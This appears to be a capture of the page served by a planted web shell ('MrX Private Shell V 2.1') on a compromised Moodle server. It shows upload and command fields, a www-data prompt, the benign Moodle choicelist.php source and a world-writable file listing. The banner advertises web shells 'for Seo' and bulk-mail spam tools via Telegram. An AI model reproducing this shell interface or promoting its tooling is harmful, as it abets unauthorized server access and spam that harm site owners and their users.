__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace core\output;

/**
 * A generic user choice output class.
 *
 * This class can be used as a generic user choice data structure for any dropdown,  modal, or any
 * other component that offers choices to the user.
 *
 * @package    core
 * @copyright  2023 Ferran Recio <ferran@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class choicelist implements named_templatable, renderable {
    /** @var object[] The user choices. */
    protected $options = [];

    /** @var string the selected option. */
    protected $selected = null;

    /** @var string the choice description. */
    protected $description = null;

    /** @var bool if the selected value can be empty. */
    protected $allowempty = null;

    /**
     * Constructor.
     *
     * @param string $description the choice description.
     */
    public function __construct(?string $description = null) {
        $this->description = $description;
    }

    /**
     * Add option to the user choice.
     *
     * The definition object could contain the following keys:
     * - string description: the description of the option.
     * - \moodle_url url: the URL to link to.
     * - \pix_icon icon: the icon to display.
     * - bool disabled: whether the option is disabled.
     * - bool selected: whether the option is selected.
     * - array extras: an array of HTML attributes to add to the option (attribute => value).
     *
     * @param string $value
     * @param string $name
     * @param array $definition an optional array of definition for the option.
     */
    public function add_option(string $value, string $name, array $definition = []) {
        $option = [
            'value' => $value,
            'name' => $name,
            'description' => $definition['description'] ?? null,
            'url' => $definition['url'] ?? null,
            'icon' => $definition['icon'] ?? null,
            'disabled' => (!empty($definition['disabled'])) ? true : false,
        ];
        if (!empty($definition['selected'])) {
            $this->selected = $value;
        }
        $this->options[$value] = $option;
        if (isset($definition['extras'])) {
            $this->set_option_extras($value, $definition['extras']);
        }
    }

    /**
     * Get the number of options added to the choice list.
     * @return int
     */
    public function count_options(): int {
        return count($this->options);
    }

    /**
     * Get the selectable options.
     *
     * This method returns an array of options that are selectable, excluding the selected option and any disabled options.
     *
     * @return \stdClass[]
     */
    public function get_selectable_options(): array {
        $selectableoptions = [];
        foreach ($this->options as $option) {
            if ($option['value'] !== $this->selected && !$option['disabled']) {
                $selectableoptions[] = (object) $option;
            }
        }
        return $selectableoptions;
    }

    /**
     * Set the selected option.
     *
     * @param string $value The value of the selected option.
     */
    public function set_selected_value(string $value) {
        $this->selected = $value;
    }

    /**
     * Get the selected option.
     *
     * @return string|null The value of the selected option.
     */
    public function get_selected_value(): ?string {
        if (empty($this->selected) && !$this->allowempty && !empty($this->options)) {
            return array_key_first($this->options);
        }
        return $this->selected;
    }

    /**
     * Set the allow empty option.
     * @param bool $allowempty Whether the selected value can be empty.
     */
    public function set_allow_empty(bool $allowempty) {
        $this->allowempty = $allowempty;
    }

    /**
     * Get the allow empty option.
     * @return bool Whether the selected value can be empty.
     */
    public function get_allow_empty(): bool {
        return $this->allowempty;
    }

    /**
     * Check if the value is in the options.
     * @param string $value The value to check.
     * @return bool
     */
    public function has_value(string $value): bool {
        return isset($this->options[$value]);
    }

    /**
     * Set the general choice description option.
     *
     * @param string $value the new description.
     */
    public function set_description(string $value) {
        $this->description = $value;
    }

    /**
     * Get the choice description option.
     *
     * @return string|null the current description.
     */
    public function get_description(): ?string {
        return $this->description;
    }

    /**
     * Set the option disabled.
     *
     * @param string $value The value of the option.
     * @param bool $disabled Whether the option is disabled.
     */
    public function set_option_disabled(string $value, bool $disabled) {
        if (isset($this->options[$value])) {
            $this->options[$value]['disabled'] = $disabled;
        }
    }

    /**
     * Sets the HTML attributes to the option.
     *
     * This method will remove any previous extra attributes.
     *
     * @param string $value The value of the option.
     * @param array $extras an array to add HTML attributes to the option (attribute => value).
     */
    public function set_option_extras(string $value, array $extras) {
        if (!isset($this->options[$value])) {
            return;
        }
        $this->options[$value]['extras'] = [];
        $this->add_option_extras($value, $extras);
    }

    /**
     * Add HTML attributes to the option.
     * @param string $value The value of the option.
     * @param array $extras an array to add HTML attributes to the option (attribute => value).
     */
    public function add_option_extras(string $value, array $extras) {
        if (!isset($this->options[$value])) {
            return;
        }
        if (!isset($this->options[$value]['extras'])) {
            $this->options[$value]['extras'] = [];
        }
        foreach ($extras as $attribute => $attributevalue) {
            $this->options[$value]['extras'][] = [
                'attribute' => $attribute,
                'value' => $attributevalue,
            ];
        }
    }

    /**
     * Retrieves the HTML attributes for a given value from the options array.

     * @param string $value The value for which to retrieve the extras.
     * @return array an array of HTML attributes of the option (attribute => value).
     */
    public function get_option_extras(string $value): array {
        if (!isset($this->options[$value]) || !isset($this->options[$value]['extras'])) {
            return [];
        }
        $result = [];
        foreach ($this->options[$value]['extras'] as $extra) {
            $result[$extra['attribute']] = $extra['value'];
        }
        return $result;
    }

    /**
     * Get the selected option HTML.
     *
     * This method is used to display the selected option and the option icon.
     *
     * @param renderer_base $output The renderer.
     * @return string
     */
    public function get_selected_content(renderer_base $output): string {
        if (empty($this->selected)) {
            return '';
        }
        $option = $this->options[$this->selected];
        $icon = '';
        if (!empty($option['icon'])) {
            $icon = $output->render($option['icon']);
        }
        return $icon . $option['name'];
    }

    /**
     * Export for template.
     *
     * @param renderer_base $output The renderer.
     * @return array
     */
    public function export_for_template(renderer_base $output): array {
        $options = [];
        foreach ($this->options as $option) {
            if (!empty($option['icon'])) {
                $option['icon'] = $option['icon']->export_for_pix($output);
            }
            $option['hasicon'] = !empty($option['icon']);

            if (!empty($option['url'])) {
                $option['url'] = $option['url']->out(true);
            }
            $option['hasurl'] = !empty($option['url']);

            if ($option['value'] == $this->get_selected_value()) {
                $option['selected'] = true;
            }

            $option['optionnumber'] = count($options) + 1;
            $option['first'] = count($options) === 0;
            $option['optionuniqid'] = \html_writer::random_id('choice_option_');

            $options[] = $option;
        }
        return [
            'description' => $this->description,
            'options' => $options,
            'hasoptions' => !empty($options),
        ];
    }

    /**
     * Get the name of the template to use for this templatable.
     *
     * @param renderer_base $renderer The renderer requesting the template name
     * @return string
     */
    public function get_template_name(renderer_base $renderer): string {
        return 'core/local/choicelist';
    }
}

Filemanager

Name Type Size Permission Actions
action_menu Folder 0777
actions Folder 0777
dynamic_tabs Folder 0777
local Folder 0777
progress_trace Folder 0777
renderer_factory Folder 0777
requirements Folder 0777
action_link.php File 4.86 KB 0777
action_menu.php File 23.57 KB 0777
activity_header.php File 8.63 KB 0777
bootstrap_renderer.php File 12.05 KB 0777
checkbox_toggleall.php File 4.93 KB 0777
choicelist.php File 9.42 KB 0777
chooser.php File 3.78 KB 0777
chooser_item.php File 3.12 KB 0777
chooser_section.php File 2.25 KB 0777
comboboxsearch.php File 6.74 KB 0777
context_header.php File 6.01 KB 0777
core_renderer.php File 194.2 KB 0777
core_renderer_ajax.php File 5.7 KB 0777
core_renderer_cli.php File 9.34 KB 0777
core_renderer_maintenance.php File 7.86 KB 0777
custom_menu.php File 7.03 KB 0777
custom_menu_item.php File 7.88 KB 0777
datafilter.php File 3.45 KB 0777
dynamic_tabs.php File 2.26 KB 0777
external.php File 8.11 KB 0777
file_picker.php File 3.65 KB 0777
help_icon.php File 4.37 KB 0777
html_writer.php File 34.28 KB 0777
icon_system.php File 5.25 KB 0777
icon_system_font.php File 1.53 KB 0777
icon_system_fontawesome.php File 26.92 KB 0777
icon_system_standard.php File 1.28 KB 0777
image_icon.php File 1.27 KB 0777
initials_bar.php File 4.94 KB 0777
inplace_editable.php File 9.84 KB 0777
js_writer.php File 5.42 KB 0777
language_menu.php File 5.67 KB 0777
mustache_clean_string_helper.php File 2.17 KB 0777
mustache_engine.php File 2.62 KB 0777
mustache_filesystem_loader.php File 2.35 KB 0777
mustache_helper_collection.php File 6.96 KB 0777
mustache_javascript_helper.php File 1.9 KB 0777
mustache_pix_helper.php File 2.45 KB 0777
mustache_quote_helper.php File 1.87 KB 0777
mustache_shorten_text_helper.php File 1.76 KB 0777
mustache_string_helper.php File 2.31 KB 0777
mustache_template_finder.php File 4.12 KB 0777
mustache_template_source_loader.php File 14.9 KB 0777
mustache_uniqid_helper.php File 1.56 KB 0777
mustache_user_date_helper.php File 1.83 KB 0777
named_templatable.php File 1.23 KB 0777
notification.php File 6.41 KB 0777
paging_bar.php File 8.97 KB 0777
participants_action_bar.php File 8.83 KB 0777
pix_emoticon.php File 1.71 KB 0777
pix_icon.php File 4.89 KB 0777
pix_icon_font.php File 2.9 KB 0777
pix_icon_fontawesome.php File 1.21 KB 0777
plugin_renderer_base.php File 5.86 KB 0777
preferences_group.php File 1.62 KB 0777
preferences_groups.php File 1.47 KB 0777
progress_bar.php File 8.54 KB 0777
progress_trace.php File 1.68 KB 0777
renderable.php File 1.24 KB 0777
renderer_base.php File 16.75 KB 0777
routed_error_handler.php File 1.69 KB 0777
select_menu.php File 6.68 KB 0777
single_button.php File 7.88 KB 0777
single_select.php File 9.43 KB 0777
sticky_footer.php File 4.5 KB 0777
stored_progress_bar.php File 10.39 KB 0777
tabobject.php File 5.11 KB 0777
tabtree.php File 3.37 KB 0777
templatable.php File 1.75 KB 0777
theme_config.php File 84.2 KB 0777
theme_usage.php File 4.32 KB 0777
url_rewriter.php File 1.6 KB 0777
url_select.php File 9.63 KB 0777
user_picture.php File 13.98 KB 0777
xhtml_container_stack.php File 5.79 KB 0777
Filemanager